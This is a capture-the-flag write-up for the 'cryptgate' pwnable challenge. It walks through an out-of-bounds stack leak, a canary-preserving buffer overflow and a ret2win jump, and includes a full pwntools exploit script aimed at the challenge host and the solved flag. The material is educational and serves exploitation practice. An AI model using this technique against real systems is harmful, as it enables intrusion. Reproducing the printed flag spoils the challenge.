Buffy Vampire#1

cryptgate — Pwnable Write-up

Easy • 10 pts • 20 solves

Challenge	Buffy Vampire#1 (cryptgate)
Category	Pwnable / Binary Exploitation
Target	`34.177.92.102:9999`
Flag	`pwnable{34mDVhJ9fv}`

1. Challenge Description

The Vesper Watch, a guild of vampire-hunters, runs a check-in kiosk at the mouth of its crypt. Hunters sign the roster on the way in; the kiosk greets them back and keeps a sealed record — the name the Watch has marked for tonight.

The kiosk speaks a plain line protocol over TCP and answers to `gate>`. Most of its commands are routine guild bookkeeping. You are given the kiosk program itself. The record is the flag in the form `pwnable{...}`, chosen per instance.

Available Commands:

- **`CHECKIN`** – log a visitor passing the gate
- **`SEAL`** – seal tonight's roster record
- **`ROSTER`** – show the duty roster
- **`BADGE`** – look up a warden badge
- **`LANTERN`** – toggle the gate lantern
- **`HELP / QUIT`** – help and exit

2. Binary Analysis

Initial reconnaissance on the provided binary:

```
$ file cryptgate
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
```

Security Protections (checksec):

Protection	Status	Implication
PIE	**Disabled**	Code addresses are fixed (0x400000 base)
Stack Canary	**Enabled**	Must leak canary before overflowing
NX	**Enabled**	Stack is non-executable → need ret2win / ROP
RELRO	Partial	GOT is writable (not needed here)

Interesting strings and functions discovered:

- `/opt/cryptgate/.roster/record.dat` — flag location
- `read_sealed_record @ 0x4013a7` — opens flag file and prints it
- `cmd_checkin, cmd_seal` — vulnerable functions

3. Vulnerability Analysis

3.1 Information Leak — cmd_checkin

The CHECKIN command contains an out-of-bounds read:

```
// simplified decompilation
char buf[0x40];
memset(buf, 0, 0x40);
puts("Name of the one passing the gate: ");
read(0, buf, 0x40);               // safe
puts("Logged at the gate: ");
write(1, buf, 0x80);              // ← OOB read (128 bytes!)
```

The buffer is only 64 bytes, but `write()` dumps 128 bytes starting from the buffer. This leaks the stack canary (located at offset `0x48` from the start of the buffer) as well as the saved return address.

3.2 Buffer Overflow — cmd_seal

The SEAL command contains a classic stack buffer overflow:

```
char buf[0x48];                   // approx. size
puts("Paste the roster record to seal: ");
read(0, buf, 0x200);              // ← 512-byte read!
```

A 512-byte read into an approximately 72-byte buffer allows full control over the canary, saved RBP, and return address — provided the correct canary value is used.

4. Exploitation

Because the binary is non-PIE and contains a convenient “win” function (`read_sealed_record`) that opens and prints the flag, the exploit is a classic **leak-canary → ret2win** chain.

4.1 Stack Layout (cmd_seal)

```
[ buffer ..............  0x48 bytes ]
[ canary ..............  8 bytes    ]  ← must match leaked value
[ saved RBP ...........  8 bytes    ]  ← dummy value
[ return address ......  8 bytes    ]  ← 0x4013a7 (read_sealed_record)
```

4.2 Exploit Steps

1. **Connect** to the remote service and receive the banner.
2. **Leak canary** — Send `CHECKIN` followed by 64 ‘A’ bytes. Parse the 128-byte leak; the canary sits at offset `0x48`.
3. **Trigger overflow** — Send `SEAL` and the crafted payload:

```
payload  = b'B' * 0x48
payload += canary
payload += b'C' * 8                # fake RBP
payload += p64(0x4013a7)           # read_sealed_record
```

4. **Receive flag** — The function opens `/opt/cryptgate/.roster/record.dat` and writes its contents to stdout.

5. Full Exploit Script

Python 3 exploit using pwntools:

```
#!/usr/bin/env python3
```

```python
from pwn import *

io = remote('34.177.92.102', 9999)
io.recvuntil(b'gate> ')

# Stage 1: Leak canary via CHECKIN
io.sendline(b'CHECKIN')
io.recvuntil(b'Name of the one passing the gate: ')
io.send(b'A' * 0x40)

data = io.recvuntil(b'gate> ')
leak = data[data.find(b'Logged at the gate: ') + 20:]
canary = leak[0x48:0x50]
log.success(f'Canary: {canary.hex()}')

# Stage 2: Overflow SEAL → ret2win
io.sendline(b'SEAL')
io.recvuntil(b'Paste the roster record to seal: ')

payload  = b'B' * 0x48
payload += canary
payload += b'C' * 8
payload += p64(0x4013a7)   # read_sealed_record

io.send(payload)
print(io.recvall().decode())
```

6. Result

Successful exploitation yields:

```
Record sealed for the night.
pwnable{34mDVhJ9fv}
```

7. Notes & Takeaways

- Non-PIE binaries significantly simplify exploitation — function addresses are static and can be used directly.
- A dedicated "win" function (`read_sealed_record`) eliminated the need for complex ROP chains or libc leaks.
- Always check for out-of-bounds `read`/`write` calls that can leak stack cookies before attempting overflows.
- This challenge is a textbook example of the **leak-canary → ret2win** pattern commonly seen in introductory pwnables.

— End of Write-up —